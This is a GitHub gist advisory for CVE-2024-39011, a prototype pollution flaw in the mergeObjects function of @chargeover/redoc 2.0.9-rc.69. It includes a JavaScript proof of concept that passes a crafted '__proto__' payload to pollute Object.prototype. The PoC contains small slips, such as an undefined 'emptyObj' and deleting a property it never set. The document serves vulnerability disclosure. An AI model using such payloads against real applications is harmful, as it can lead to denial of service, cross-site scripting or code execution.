Skip to content

Instantly share code, notes, and snippets.

@mestrtee
Last active August 12, 2024 14:32
Show Gist options
  • Select an option

  • Save mestrtee/693ef1c8b0a5ff1ae19f253381711f3e to your computer and use it in GitHub Desktop.

Select an option

Save mestrtee/693ef1c8b0a5ff1ae19f253381711f3e to your computer and use it in GitHub Desktop.
[CVE-2024-39011] Vulnerability Advisory: Prototype Pollution in @chargeover/redoc, version 2.0.9-rc.69

Vulnerability type: Prototype Pollution

Vendor of the Package: Chargeover

Affected Package:

  • Product: @chargeover/redoc
  • Version: 2.0.9-rc.69

Affected component(s):

mergeObjects

Attack vector(s): the attacker can modify built-in Object.prototype by calling the vulnerable function: mergeObjects with an argument containing a special property __proto__ to pollute the application logic that can be escalated to Denial of service, remote code execution or cross-site scripting attacks.

Description: Affected versions of this package are vulnerable to Prototype Pollution through the vulnerable function: mergeObjects. An attacker can alter the behavior of all objects inheriting from the affected prototype by passing arguments to the vulenrable function crafted with the built-in property: __proto__. The attack can potentially escalated to Denial of service, remote code execution or cross-site scripting attacks depends on the gadgets that may affected by the attack

Proof-of-Concept:

(async () => {
  const lib = await import('@chargeover/redoc');

  var victim = {}

  console.log("Before Attack: ", JSON.stringify(victim.__proto__));

  try {

  lib.mergeObjects (emptyObj, JSON.parse('{"__proto__":{"test":123}}'))

  } catch (e) { }

  console.log("After Attack: ", JSON.stringify(victim.__proto__));

  delete Object.prototype.polluted;

  })();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment